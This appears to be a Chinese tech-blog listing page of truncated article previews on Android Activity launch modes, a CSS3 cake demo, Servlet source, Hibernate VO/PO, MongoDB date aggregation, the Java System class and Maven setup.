在Android中每个界面都是一个Activity,切换界面操作其实是多个不同Activity之间的实例化操作。在Android中Activity的启动模式决定了Activity的启动运行方式。
Android总Activity的启动模式分为四种:
Activity启动模式设置:
<acti
攻城狮送女友的CSS3生日蛋糕
ini
html Web html5 css css3
在线预览:http://keleyi.com/keleyi/phtml/html5/29.htm
代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>攻城狮送女友的CSS3生日蛋糕-柯乐义<
读源码学Servlet(1)GenericServlet 源码分析
jzinfo
tomcat Web servlet 网络应用 网络协议
Servlet API的核心就是javax.servlet.Servlet接口,所有的Servlet 类(抽象的或者自己写的)都必须实现这个接口。在Servlet接口中定义了5个方法,其中有3个方法是由Servlet 容器在Servlet的生命周期的不同阶段来调用的特定方法。
先看javax.servlet.servlet接口源码:
package
JAVA进阶:VO(DTO)与PO(DAO)之间的转换
snoopy7713
java VO Hibernate po
PO即 Persistence Object VO即 Value Object
VO和PO的主要区别在于: VO是独立的Java Object。 PO是由Hibernate纳入其实体容器(Entity Map)的对象,它代表了与数据库中某条记录对应的Hibernate实体,PO的变化在事务提交时将反应到实际数据库中。
实际上,这个VO被用作Data Transfer
mongodb group by date 聚合查询日期 统计每天数据(信息量)
qiaolevip
每天进步一点点 学习永无止境 mongodb 纵观千象
/* 1 */
{
"_id" : ObjectId("557ac1e2153c43c320393d9d"),
"msgType" : "text",
"sendTime" : ISODate("2015-06-12T11:26:26.000Z")
java之18天 常用的类(一)
Luob.
Math Date System Runtime Rundom
System类
import java.util.Properties;
/**
* System:
* out:标准输出,默认是控制台
* in:标准输入,默认是键盘
*
* 描述系统的一些信息
* 获取系统的属性信息:Properties getProperties();
*
*
*
*/
public class Sy
maven
wuai
maven
1、安装maven:解压缩、添加M2_HOME、添加环境变量path
2、创建maven_home文件夹,创建项目mvn_ch01,在其下面建立src、pom.xml,在src下面简历main、test、main下面建立java文件夹
3、编写类,在java文件夹下面依照类的包逐层创建文件夹,将此类放入最后一级文件夹
4、进入mvn_ch01
4.1、mvn compile ,执行后会在